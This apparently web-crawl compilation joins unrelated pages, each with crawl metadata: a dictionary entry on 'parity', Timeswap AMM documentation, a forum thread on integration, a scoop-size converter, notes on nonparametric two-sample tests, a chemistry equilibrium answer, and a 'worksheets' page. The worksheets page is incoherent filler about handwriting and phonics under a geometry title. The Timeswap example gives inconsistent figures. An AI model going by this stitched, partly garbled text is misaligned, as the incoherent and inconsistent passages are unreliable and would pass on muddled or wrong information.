CC-MAIN-2023-40 | latest | en | 0.935609 |
https://www.vocabulary.com/dictionary/parity | 1,669,743,555,000,000,000 | text/html | crawl-data/CC-MAIN-2022-49/segments/1669446710710.91/warc/CC-MAIN-20221129164449-20221129194449-00231.warc.gz | 1,148,568,695 | 10,290 | # parity
All things being equal, parity means, basically, equality. It’s used in finance, physics, math, and even sports. When people talk about parity in a football league, for example, they mean the teams are evenly matched. Go, evenly matched team, go!
Parity comes from the same Latin root as pair, which is par, for “equal.” Parity is an equal amount of something, or an equal rank or skill level between people or teams. During the Cold War, the word parity was used to describe the equal amount of resources the US and the USSR had. So now it also means an equal amount between enemies, which is probably why sportscasters love it.
Definitions of parity
1. noun
functional equality
see moresee less
type of:
equivalence
essential equality and interchangeability
2. noun
(physics) parity is conserved in a universe in which the laws of physics are the same in a right-handed system of coordinates as in a left-handed system
synonyms:
see moresee less
type of:
conservation
(physics) the maintenance of a certain quantities unchanged during chemical reactions or physical transformations
3. noun
(mathematics) a relation between a pair of integers: if both integers are odd or both are even they have the same parity; if one is odd and the other is even they have different parity
parity is often used to check the integrity of transmitted data”
see moresee less
types:
evenness
the parity of even numbers (divisible by two)
oddness
the parity of odd numbers (not divisible by two)
type of:
mathematical relation
a relation between mathematical expressions (such as equality or inequality)
4. noun
(computer science) a bit that is used in an error detection procedure in which a 0 or 1 is added to each group of bits so that it will have either an odd number of 1's or an even number of 1's; e.g., if the parity is odd then any group of bits that arrives with an even number of 1's must contain an error
synonyms:
see moresee less
type of:
bit
a unit of measurement of information (from binary + digit); the amount of information in a system having two equiprobable states
5. noun
(obstetrics) the number of liveborn children a woman has delivered
“the parity of the mother must be considered”
synonyms: para
see moresee less
type of:
gestation, maternity, pregnancy
the state of being pregnant; the period from conception to birth when a woman carries a developing fetus in her uterus
Commonly confused words
#### parody / parity
They're different, but when these words are said out loud it's hard to tell them apart. A parody is a silly spoof and parity is equality, and that's no joke. | 592 | 2,598 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.0625 | 3 | CC-MAIN-2022-49 | latest | en | 0.950039 |
https://timeswap.gitbook.io/timeswap-v2-money-market/deep-dive/market-interpretation | 1,679,303,447,000,000,000 | text/html | crawl-data/CC-MAIN-2023-14/segments/1679296943471.24/warc/CC-MAIN-20230320083513-20230320113513-00565.warc.gz | 654,313,877 | 128,418 | Market Interpretation
Inspired by Uniswap, Timeswap V2 uses a three variable duration weighted AMM equation:
$(X+Y)*Z = K$
Where: X= reserves of Collateral Claim Token 1 tokens in the pool Y= reserves of Collateral Claim Token 2 tokens in the pool Z= reserves of Bond tokens(BT) per second in the pool K= Constant Product Invariant
Now let's look at the market interpretation of all the parameters:
X = Collateral claim pool(Token 1), where Borrowers withdraw CCT for their borrowing positions.
Y= Collateral claim pool(Token 2), where Borrowers withdraw CCT for their borrowing positions
Z= Bond pool, where lenders withdraw BT as a yield for their positions.
dZ is the total amount of bond tokens in the pool.
I is the marginal interest rate per second = Z / (X+Y) . It determines the interest rate for lenders and borrowers of the pool.
K = Transition / Strike Price. The price at which a borrower decides whether or not he wants to exercise his right to sell the locked collateral to the lenders is what we are calling the transition price, which in the context of the options is simply the strike price. It also determines the CDP of loans on Timeswap.
The Selection of Transition Price is crucial since it determines the APR and CDP of the pool. If the Transition price (K) is closer to Spot Price(S), then the pool will have a High APR and Low CDP, whereas if Transition price (K) is farther away from Spot Price (S), the pool will have Low APR and High CDP. Refer to the image below to understand this better:
Example - Suppose a Liquidity Provider wants to create USDC/ETH pool with 10% APR, 1000 USDC per ETH Strike (K), and 1 Year maturity (d). Assume the Spot price (S) to be 900 USDC per ETH.
Marginal interest rate I is :
I=Z/(X+Y)=10/100=(10/100)/d. It represents Interest rate=10% annually= 10/100 annually= (10/100)/d per second d= 31557600 seconds (represents 1-year maturity)
X= 10. This represents 10 CCT ETH tokens are in the pool.
Y= 0. This represents 0 CCT USDC in the pool. This is because Borrowers cannot borrow 1000 USDC by locking 1 ETH(worth 900 USDC only).
Z= 1/31557600, (dZ=1). It is the amount of BT in the pool, which maintains the ratio in Interest Rate
Read Liquidity Provision section to understand the pool creation calculations and mechanics in detail: | 572 | 2,295 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 1, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3 | 3 | CC-MAIN-2023-14 | latest | en | 0.899885 |
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# C1 Integration watch
1. to calculate R you have to find the area of the trapezium looking shape underneath R, thats bound by the surrounding lines. R= total area unde curve(use limits and integration(-2 and 7))-area of trapezium thing. Now to Find the area of the trapeziumn thing ( as there are no parallel lines in this shape) you have to split it into a trapezium and a right angle triange and find the area of those. Which requires finding the x coordinate where the cubic line crosses the axes. Which requires equating it to 0 and solving which all takes a long time. This is a method that works but takes a while, there could be an easier method. Everyone else in this thread is wrong fyi.
2. (Original post by bethanygriffin)
Okay so I did the 2014 C1 paper about an hour ago and I realised I have absolutely no clue on how to do integration and finding the area under a curve would anyone be able to give me the run down? I've attached the question I struggled on, I think its all just knowing where to start, it really got me stumped thank you very much
Attachment 396815
This is C2 though....
3. How many marks do we get if we just write down the answer and the answer is correct ? Would you still get full marks ?
4. (Original post by paulina1111)
This is C2 though....
It's C1 on AQA
5. (Original post by bethanygriffin)
It's C1 on AQA
oops my bad I thought all exam boards had the same topics
Reply
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Reputation gems: You get these gems as you gain rep from other members for making good contributions and giving helpful advice. | 575 | 2,335 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.328125 | 3 | CC-MAIN-2018-26 | latest | en | 0.939643 |
https://www.traditionaloven.com/conversions_of_measures/scoop-size.html | 1,701,849,547,000,000,000 | text/html | crawl-data/CC-MAIN-2023-50/segments/1700679100583.31/warc/CC-MAIN-20231206063543-20231206093543-00483.warc.gz | 1,176,883,209 | 12,917 | # Scoop Volume Size Conversion Calculator
Calculator for converting between scoop amounts and other equivalent volume measurements. Scoops into spoons, cups, fluid ounces, liters, milliliters.
For distinguishing between different sizes of existing scoops being used out there, simply use the scoop size converter tool on this web page.
The real scoop size to volume measure is an easy math. Each scoop has a scoop size number associated. That scoop number equals exactly to number of scoops in a liquid quart measure (qt). Example given: the number 8 on the scoop makes the scoop 1 eight of quart (1/8 qt) large or 4 fluid ounces = 1/2 cup big. Hence a scoop No.1 would equal to 1 quart volume measure or 32 fluid ounces (where 1 qt = 32 fl oz = 4 cups) and so on.
List of a few scoops I gradually gathered from protein or bran etc. products for making my shakes and smoothies is here. The numbers can be further converted into normal cooking spoon-measures with the scoops to spoons converter...
## Scoop examples
• Scoop size #25 (brand: National Measures) = 37.85 cc (cm³) or ml = 1.3 fl-oz = ~0.2 cup volume from Protein, Raw Vegan, from sprouted Whole Grain Brown Rice (80% protein, complete Amino-Acid for 98% Assimilation)
Results: Amount:
From unit
Equals:
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## Choose an Amount or Scoop size To unit:
This automatic scoop size number versus volume conversion calculator lets you instantly convert measurements of scoops from its number into cups (US and Metric), fluid ounces - fl oz, liters - l, tablespoons - tbsp, teaspoons - tsp and quarts - qt or milliliters - ml amounts.
Enter whole numbers, decimals or fractions ie: 4, 29.65, 25 1/3
Friends asked me numerous times, how large is this scoop? What is the exact volume value of a scoop? E.g. how to measure the required scoop amount of protein for making protein drinks. Or the scoops measure to portion for cleaning liquids and other cleaning powder products.
Just look up for its scoop number first (it will be imprinted on the actual scoop or in other cases this number is mentioned on the product packaging) and enter it into this converter ... to get easy results in several equivalent volume units.
# Scoops sizes chart
## Scoop sizes, by number, equivalent to milliliters, fluid ounces and cups
Scoop amounts in ml, cc & fl oz, cup volumes chart: scoop No. cc - ml fl-oz cup scoop size #1 946.35 ml 32 fl-oz 4 cup scoop size #2 473.18 ml 16 fl-oz 2 cup scoop size #3 315.45 ml 10.67 fl-oz 1.33 cup scoop size #4 236.59 ml 8 fl-oz 1 cup scoop size #5 189.27 ml 6.4 fl-oz 0.8 cup scoop size #6 157.73 ml 5.33 fl-oz 0.67 cup scoop size #7 135.19 ml 4.57 fl-oz 0.57 cup scoop size #8 118.29 ml 4 fl-oz 1/2 cup scoop size #9 105.15 ml 3.56 fl-oz 0.44 cup scoop size #10 94.64 ml 3.2 fl-oz 0.4 cup scoop size #11 86.03 ml 2.91 fl-oz 0.36 cup scoop size #12 78.86 ml 2.67 fl-oz 0.33 cup scoop size #13 72.8 ml 2.46 fl-oz 0.31 cup scoop size #14 67.6 ml 2.29 fl-oz 0.29 cup scoop size #15 63.09 ml 2.13 fl-oz 0.27 cup scoop size #16 59.15 ml 2 fl-oz 0.25 cup scoop size #17 55.67 ml 1.88 fl-oz 0.24 cup scoop size #18 52.58 ml 1.78 fl-oz 0.22 cup scoop size #19 49.81 ml 1.68 fl-oz 0.21 cup scoop size #20 47.32 ml 1.6 fl-oz 0.2 cup scoop No. cc - ml fl-oz cup scoop size #21 45.06 ml 1.52 fl-oz 0.19 cup scoop size #22 43.02 ml 1.45 fl-oz 0.18 cup scoop size #23 41.15 ml 1.39 fl-oz 0.17 cup scoop size #24 39.43 ml 1.33 fl-oz 0.167 cup scoop size #25 37.85 ml 1.28 fl-oz 0.16 cup scoop size #26 36.4 ml 1.23 fl-oz 0.154 cup scoop size #27 35.05 ml 1.19 fl-oz 0.15 cup scoop size #28 33.8 ml 1.14 fl-oz 0.143 cup scoop size #29 32.63 ml 1.103 fl-oz 0.138 cup scoop size #30 31.55 ml 1.07 fl-oz 0.133 cup scoop size #31 30.53 ml 1.032 fl-oz 0.129 cup scoop size #32 29.57 ml 1 fl-oz 0.125 cup scoop size #33 28.68 ml 0.97 fl-oz 0.121 cup scoop size #34 27.83 ml 0.941 fl-oz 0.118 cup scoop size #35 27.04 ml 0.914 fl-oz 0.114 cup scoop size #36 26.29 ml 0.889 fl-oz 0.111 cup scoop size #37 25.58 ml 0.865 fl-oz 0.108 cup scoop size #38 24.9 ml 0.842 fl-oz 0.105 cup scoop size #39 24.27 ml 0.821 fl-oz 0.103 cup scoop size #40 23.66 ml 0.8 fl-oz 0.1 cup scoop No. cc - ml fl-oz cup scoop size #41 23.08 ml 0.78 fl-oz 0.098 cup scoop size #42 22.53 ml 0.762 fl-oz 0.095 cup scoop size #43 22.01 ml 0.744 fl-oz 0.093 cup scoop size #44 21.51 ml 0.727 fl-oz 0.091 cup scoop size #45 21.03 ml 0.711 fl-oz 0.089 cup scoop size #46 20.57 ml 0.696 fl-oz 0.087 cup scoop size #47 20.14 ml 0.681 fl-oz 0.085 cup scoop size #48 19.72 ml 0.667 fl-oz 0.083 cup scoop size #49 19.31 ml 0.653 fl-oz 0.082 cup scoop size #50 18.93 ml 0.64 fl-oz 0.08 cup scoop size #51 18.56 ml 0.627 fl-oz 0.078 cup scoop size #52 18.2 ml 0.615 fl-oz 0.077 cup scoop size #53 17.86 ml 0.604 fl-oz 0.075 cup scoop size #54 17.53 ml 0.593 fl-oz 0.074 cup scoop size #55 17.21 ml 0.582 fl-oz 0.073 cup scoop size #56 16.9 ml 0.571 fl-oz 0.071 cup scoop size #57 16.6 ml 0.561 fl-oz 0.07 cup scoop size #58 16.32 ml 0.55 fl-oz 0.069 cup scoop size #59 16.04 ml 0.542 fl-oz 0.068 cup scoop size #60 15.77 ml 0.533 fl-oz 0.067 cup scoop No. cc - ml fl-oz cup scoop size #61 15.51 ml 0.525 fl-oz 0.066 cup scoop size #62 15.26 ml 0.516 fl-oz 0.065 cup scoop size #63 15.02 ml 0.508 fl-oz 0.063 cup scoop size #64 14.79 ml 0.5 fl-oz 0.063 cup scoop size #65 14.56 ml 0.492 fl-oz 0.062 cup scoop size #66 14.34 ml 0.485 fl-oz 0.061 cup scoop size #67 14.13 ml 0.478 fl-oz 0.06 cup scoop size #68 13.92 ml 0.471 fl-oz 0.059 cup scoop size #69 13.72 ml 0.464 fl-oz 0.058 cup scoop size #70 13.5 ml 0.457 fl-oz 0.057 cup
The logic of it:
The lower the number of a scoop, the more volume size increases. Higher the No. of a scoop the more scoop capacity size decreases.
# The higher the scoop number, the lower is its volume
Scoop size No. 1/4 = 4 quarts
Scoop size No. 1/2 = 2 quarts
scoop size No. 1 = 1 qt
Scoop size # 8 = 1/8th qt or 0.125 qt
Scoop size # 10 = 1/10 qt or 0.1 qt
Scoop size # 25 = 1/25th qt or 0.04 qt
### Discussions about scoop sizes and various scoop references
Question: This website is helpful, but you only gave one identification for the scoop, scoop number 25 for national measures. Scoops usually have company name and cc measure (cubic centimeter). It is not possible to identify my scoop and cross reference on your page without it.
Answer: I have added the additional measures data incl. the cm³ size volume to the page information.
If you'd like to link to this scoop size converter, please highlight > cut > paste the following code into your web page. The wording outcome on your site will appear as: converter of scoop number vs. scoop volume size
I've done my best to build this site for you- Please send feedback to let me know how you enjoyed visiting. | 2,346 | 6,741 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.046875 | 3 | CC-MAIN-2023-50 | latest | en | 0.85912 |
https://y1zhou.com/nonparametric-two-independent-samples/ | 1,579,866,475,000,000,000 | text/html | crawl-data/CC-MAIN-2020-05/segments/1579250619323.41/warc/CC-MAIN-20200124100832-20200124125832-00426.warc.gz | 1,178,454,347 | 14,056 | We often have two independent random samples instead of paired samples, and want to make inferences about the two populations from which the samples are drawn.
\begin{aligned} &\text{Sample 1}: x_1, x_2, \cdots, x_m \\ &\text{Sample 2}: y_1, y_2, \cdots, y_n \end{aligned}
for convenience and without loss of generality, we assume $n \geq m$. What can we say about the populations from which these samples were drawn? We may want to ask about the centrality or location of the population distributions. In particular, our usual question is are these the same for the two. More generally, do the population distributions coincide, or do they differ by a shift in location? We're often interested in whether one population tends to yield larger values than the other, or do they tend to yield similar values.
The most common approach is a modification of Wilcoxon for two independent samples. It has a different formulation called the Mann-Whitney test. Usually they're talked together as the WMW test.
## The Mann-Whitney Test
There are three different (but essentially equivalent) ways of formulating the hypotheses of interest:
1. In terms of the underlying population distributions:
\begin{aligned} &H_0: F(z) = G(z) &&\text{for all } z \\ &H_1: F(z) \neq G(z) && \text{for all } z \end{aligned}
where $F(\cdot)$ is the distribution corresponding to $X$ (first sample) and $G(\cdot)$ is the distribution corresponding to $Y$ (both are CDFs).
1. In terms of means / expectations:
\begin{aligned} &H_0: E(X) = E(Y) \\ &H_1: E(X) \neq E(Y) \end{aligned}
Here we can use WMW as a test of mean comparison.
1. In terms of probabilities:
\begin{aligned} &H_0: P(X > Y) = P(X < Y) \\ &H_1: P(X > Y) \neq P(X < Y) \end{aligned}
Usually we see the hypotheses in the $2^{nd}$ or $3^{rd}$ form. One-sided questions could also be of interest:
\begin{aligned} &H_0: F(z) = G(z) &&\text{for all } z \\ \text{vs. } &H_1: F(z) > G(z) && \text{for some } z \\ \text{or vs. } &H_1: E(X) < E(Y) \\ \text{or vs. } &H_1: P(X > Y ) < P(X < Y) \end{aligned}
Here all the alternatives are for $X$ tend to be smaller than $Y$.
### Test Statistic Formulations
After forming the hypothesis, we may define our test statistic as:
\begin{aligned} S_m &\text{ - sum of the ranks from sample 1} \\ &= \sum\limits_{i=1}^m {R(x_i)} \end{aligned}
where $R(x_i)$ is the rank from the combined sample. Equivalently, we can use $S_n$ - sum of ranks from sample $2$. From this we can derive the Mann-Whitney formulation:
\begin{aligned} U_m &= S_m - \frac{1}{2}m(m+1) && U_n = S_n - \frac{1}{2}n(n+1) \\ U_m &= mn - U_n && \text{equivalent information in the two stats} \end{aligned}
This test statistic can be computed without combining the samples, and without using ranks. Consider the following example: we have time to complete a set of calculations in minutes using two different types of calculator. Is there a difference between the two types?
\begin{aligned} &\text{Group A}: 23 && 18 && 17 && 25 && 22 && 19 && 31 && 26 && 29 && 33 \\ &\text{Group B}: 21 && 28 && 32 && 30 && 41 && 24 && 35 && 34 && 27 && 39 && 36 \end{aligned}
In a Wilcoxon test, we combine the two samples and rank them together:
\begin{aligned} &17 && 18 && 19 && 21^* && 22 && 23 && 24^* && 25 && 26 \\ &27^* && 28^* && 29 && 30^* && 31 && 32^* && 33 && 34^* && 35^* \\ &36^* && 39^* && 41^* \end{aligned}
The ones marked with $\ast$ are from group B. In our case, $m + n = 21$:
\begin{aligned} S_m &= 1 + 2 + 3 + 5 + 6 + 8 + 9 + 12 + 14 + 16 = 76 \\ S_m + S_n &= \frac{1}{2} \times 21 \times 22 = 231 \\ &\Rightarrow S_n = 231 - 76 = 155 \end{aligned}
In the Mann-Whitney test, we order the two groups separately:
\begin{aligned} &\text{Group A}: 17 && 18 && 19 && 22 && 23 && 25 && 26 && 29 && 31 && 33 \\ &\text{Group B}: 21 && 24 && 27 && 28 && 30 && 32 && 34 && 35 && 36 && 39 && 41 \end{aligned}
We go through each observation in sample A, and count how many observations in sample B are greater than the observation from A. In other words, we count up the exceedances:
$11 + 11 + 11 + 10 + 10 + 9 + 9 + 7 + 6 + 5 = 89 = U_n$
The Wilcoxon is an extension of the one-sample test, and the Mann-Whitney counts exceedances of one sample relative to the other. The two are equivalent in terms of information about the samples, as shown by the formulations. We can easily convert the values of one test to another.
### Other Extensions
Other aspects of the one-sample situation extend in a relatively straightforward way to the two-sample case. For example, getting confidence intervals for the "shift" uses a similar idea to the Walsh average approach from the one-sample test, but using $x_i - y_i$:
17 18 19 $\cdots$ 29 31 33
21 -4 -3 -2 $\cdots$ 8 10 12
24 -7 -6 -5 $\cdots$ 5 7 9
$\vdots$ $\vdots$ $\vdots$ $\vdots$ $\ddots$ $\vdots$ $\vdots$ $\vdots$
39 -22 -21 -20 $\cdots$ -10 -8 -6
41 -24 -23 -22 $\cdots$ -12 -10 -8
To get critical values from the table, count from most negative up and count from most positive down. The point estimator for the difference, the Hodges-Lehmann estimator, is the median of the differences.
Also as before, we can use a normal approximation when $m, n$ are reasonably large (or in the case of ties).
\begin{aligned} \text{Wilcoxon:} && E(S_m) &= \frac{1}{2}m(m+n+1) \\ && Var(S_m) &= \frac{1}{12}mn(m+n+1) \\ \text{Mann-Whitney:} && E(U_m) &= \frac{1}{2}mn \\ && Var(U_m) &= \frac{1}{12}mn(m+n+1) \end{aligned}
With ties, we make our standard modifications. For the Wilcoxon, we use mid-ranks as before. For the Mann-Whitney, ties from one sample to the other (i.e. $x_i = y_i$ for some $i, j$) counts as $\frac{1}{2}$ in our calculation of $U_m$.
Another thing we can do is to use a normal approximation with the score representation. Let $T$ be the sum of the scores test statistic ($S_m$ or $U_m$) based on ranks or tied ranks. The score for observation $i$ is $S_i$. Then
\begin{aligned} E(T) &= \frac{m}{m+n}\sum\limits_{j=1}^{m+n}{S_j} \\ Var(T) &= \frac{mn}{(m+n)(m+n-1)}\left[\sum\limits_{j=1}^{m+n}{S_j^2} - \frac{1}{m+n}\left(\sum\limits_{j=1}^{m+n}{S_j}\right)^2\right] \end{aligned}
### Implementation in R
In R, wilcox.test handles all 3 cases (one sample, paired samples, two independent samples):
• One sample: wilcox.test(x)
• Paired samples: wilcox.test(x, y, paired = T)
• x and y should be two data vectors of the same length
• Independent samples: wilcox.test(x, y)
• x and y are two data vectors of possibly different lengths
• paired = F by default
We can get confidence intervals for all 3 cases by setting the parameters conf.int = T and conf.level to a desired value.
## The Median Test
The median test is a simple "quick and dirty" method which is neither very efficient nor robust. The test asks a very specific question: location (median) shift.
Basic setup: two samples of independent observations of sizes $m$ and $n$. They come from distributions that differ, if at all, only by a shift of location.
\begin{aligned} F(x) &\rightarrow \text{population CDF for the first sample} \\ G(y) &\rightarrow \text{population CDF for the second sample} \end{aligned}
The general idea of shifting would be
$G(y) = F(x - \theta)$
Under $H_0$, $\theta = 0 \Rightarrow$ no shift, which means there's a common median. The sample number of observations above the common median $M$ is $B(n+m, 0.5)$.
Example: Suppose two different methods of growing corn were randomly assigned to number of different plots of land, and the yield per acre was computed for each plot.
\begin{aligned} &\text{Method 1: } 83, 91 ,94, 89, 89, 96, 91, 92, 90 && m = 9 \\ &\text{Method 2: } 91, 90, 81, 83, 84, 83, 88, 91, 89, 84 && n = 10 \end{aligned}
The common median of the combined samples $M = 89$, and this is a point estimate for the joint median in the population under $H_0$. We arrange the data in a $2 \times 2$ contingency table:
Method 1 Method 2
$>89$ 6 3 9
$\leq 89^\ast$ 3 7 10
9 10 19
The third row, or the column margins, is fixed by design ($9$ and $10$). The row margins are fixed by the definition of median. With the margins fixed, if we know one value in the table, we can fill in the other three values.
Note that different approaches are possible, for example the book would drop the values exactly equal to $M$ to give:
Method 1 Method 2
$>89$ 6 3 9
$\leq 89^\ast$ 1 5 6
7 8 15
The most common analysis approach is the Fisher's exact test. The idea is to consider all tables that are "as or more extreme than" the observed, consistent with the fixed margins.
For example, if the $(1, 1)$ cell happened to be 4 instead of 6:
Method 1 Method 2
$>89$ 4 5 9
$\leq 89^\ast$ 5 5 10
9 10 19
we get a more balanced table than the observed one so it's less extreme, making it more favorable to $H_0$. We get a more extreme table (evidence against $H_0$) if the $(1, 1)$ cell is really big or small. $\{7, 8, 9\}$ in the $(1, 1)$ cell are all more extreme than the observed in one direction. $\{3, 2, 1, 0\}$ are as extreme or more than the observed in the other direction.
The other benefit of the particular table structure is that we can easily work out the exact probability of each configuration. In our example, we have two independent samples, one from each method. Each behaves as a Binomial with the appropriate number of trials ($m = 9, n = 10$) and probability $\frac{1}{2}$ of being above or below the common median under $H_0$.
But they are also conditional on the fixed row totals, which are also Binomial - the number of trials is $m + n = 19$. So, for our particular configuration, the probability is:
$\frac{\binom{9}{6}0.5^9 \cdot \binom{10}{3}0.5^{10}}{\binom{19}{9}0.5^{19}} = \frac{\binom{9}{6} \binom{10}{3}}{\binom{19}{9}} \Rightarrow \text{prob. for observed configuration}$
We need to compute this type of probability for all the more extreme tables mentioned above, and add them all up.
In general, with two independent samples of sizes $m$ and $n$; with $r$ values above the combined sample median in the first sample, and no sample values are equal to the combined sample median (just for ease of notation as clearly we can do the computation), the probability of that table configuration is
\begin{aligned} \frac{\binom{m}{r} \binom{n}{k-r}}{\binom{m+n}{k}}, && k = \frac{m+n}{2} \end{aligned}
## Two-sample Distribution Tests
We can also extend the tests for a single sample's distribution. We'd like to ask if it's reasonable to assume that two samples of data come from the same distribution. Note that we haven't specified which distribution.
### The Kolmogorov-Smirnov Test
The test to use is called the Smirnov or K-S test. Our hypotheses are
\begin{aligned} &H_0: \text{the two samples come from the same distribution} \\ \text{vs. } &H_1: \text{the distributions are different} \end{aligned}
This is inherently a two-sided alternative. One-sided alternatives exist, but are very rarely used. Recall that in the one sample case, we compared our empirical CDF from the data with the CDF of the distribution hypothesized under $H_0$. In this more general case, we will now compare the two CDFs. The test statistic is the difference of greatest magnitude between the two. As before, this is taken as the vertical distance between empirical CDFs.
Ranked Observation $S_1(x)$ $S_2(y)$ $K$
$x_1$ $\frac{1}{3}$ $0$ $\frac{1}{3}$
$x_2$ $\frac{2}{3}$ $0$ $\frac{2}{3}^\ast$
$y_1$ $\frac{2}{3}$ $\frac{1}{2}$ $\frac{1}{6}$
$x_3$ $1$ $\frac{1}{2}$ $\frac{1}{2}$
$y_2$ $1$ $1$ $0$
The K-S test is a test for general or overall difference in distributions. You can get a more sensitive analysis with a specific test for particular characteristics, if that is your goal (test for difference in means, differences in variance, etc.)
In R, we use the ks.test() as in the one-sample case. By default, the option exact = NULL is used. An exact p-value is computed if $m \times n < 10000$. There are also asymptotic approximation which will be used for even larger samples.
Interestingly, the K-S statistic depends only on the order of the $x$ and $y$s in the ordered combined sample - the actual numerical values are not needed, because empirical CDFs jump at data points. Under standard two-sided tests, all orderings are equally likely, so the exact distribution of the test statistic can be known for the given sample sizes using just the ranks.
### Cramer-von Mises Test
The Cramer-von Mises test is another test which examines whether two samples of data come from the same distribution. The difference is that it looks at all the differences $S_1(x) - S_2(y)$, where $S_1(\cdot)$ is the empirical CDF of sample 1, and $S_2(\cdot)$ is the empirical CDF of sample 2. These values are evaluated at all $(x, y)$ pairs.
The test statistic is:
$T = \frac{mn}{(m+n)^2}\sum_{x, y} \left[S_1(x) - S_2(y) \right]^2$
Similarly, this test is only used for a two-sided alternative. Values of $T$ have been tabulated and there is an approximation that is not strongly dependent on sample size. The exact null distribution can be found, as for other tests, by considering all ordered arrangements of the combined sample to be equally likely, and by computing $T$ for each ordered arrangement.
Note: Ties won't affect the results unless the sample sizes are really small. Usually the tests assume by nature there's a true ordering.
So far we've covered one-sample tests, paired sample tests and tests for two independent samples. What if we have three or more samples? | 3,996 | 13,454 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 2, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.984375 | 4 | CC-MAIN-2020-05 | latest | en | 0.871474 |
http://58.thewaygookeffect.com/arc-vs-sectors-worksheets/ | 1,597,368,471,000,000,000 | text/html | crawl-data/CC-MAIN-2020-34/segments/1596439739134.49/warc/CC-MAIN-20200814011517-20200814041517-00060.warc.gz | 1,433,244 | 19,258 | # Arc Vs Sectors Worksheets
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Arc Vs Sectors Worksheets. Try to remember, you always have to care for your child with amazing care, compassion and affection to be able to help him learn. You may also ask your kid's teacher for extra worksheets. Your son or daughter is not going to just learn a different sort of font but in addition learn how to write elegantly because cursive writing is quite beautiful to check out. As a result, if a kid is already suffering from ADHD his handwriting will definitely be affected. Accordingly, to be able to accomplish this, if children are taught to form different shapes in a suitable fashion, it is going to enable them to compose the letters in a really smooth and easy method. Although it can be cute every time a youngster says he runned on the playground, students want to understand how to use past tense so as to speak and write correctly. Let say, you would like to boost your son's or daughter's handwriting, it is but obvious that you want to give your son or daughter plenty of practice, as they say, practice makes perfect.
Without phonics skills, it's almost impossible, especially for kids, to learn how to read new words. Techniques to Handle Attention Issues It is extremely essential that should you discover your kid is inattentive to his learning especially when it has to do with reading and writing issues you must begin working on various ways and to improve it. Use a student's name in every sentence so there's a single sentence for each kid. Because he or she learns at his own rate, there is some variability in the age when a child is ready to learn to read. Teaching your kid to form the alphabets is quite a complicated practice. | 1,701 | 8,295 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.8125 | 3 | CC-MAIN-2020-34 | latest | en | 0.594747 |
http://www.jiskha.com/display.cgi?id=1317386018 | 1,495,729,548,000,000,000 | text/html | crawl-data/CC-MAIN-2017-22/segments/1495463608107.28/warc/CC-MAIN-20170525155936-20170525175936-00434.warc.gz | 546,116,026 | 4,042 | # Chem 112
posted by on .
An equilibrium was established after 0.100 mol of hydrogen gas and 0.100mol of iodine gas were added to an empty 1.00L reaction vessel and heated to 700K. The color intensity of the mixture changed from deep purple to a lighter purple color. At equilibrium, concentration of iodine was 0.0213 mol/L.
Calculate the equilibrium concentrations of hydrogen gas and hydrogen iodide gas as well as Kc.
• Chem 112 - ,
H2 + I2 -> 2HI
so 2 moles of HI formed for each mole of I2 used.
at start
0.100 M/L (H2) and 0.100 M/L (I2)
at equilibrium
0.0213 M/L (I2) so 0.0787 M/L I2 used
so 0.1574 M/L HI formed
and 0.0213 M/L equlibrium concentration of H2
Kc=[HI]^2/[H2][I2]
plug in the values and find Kc
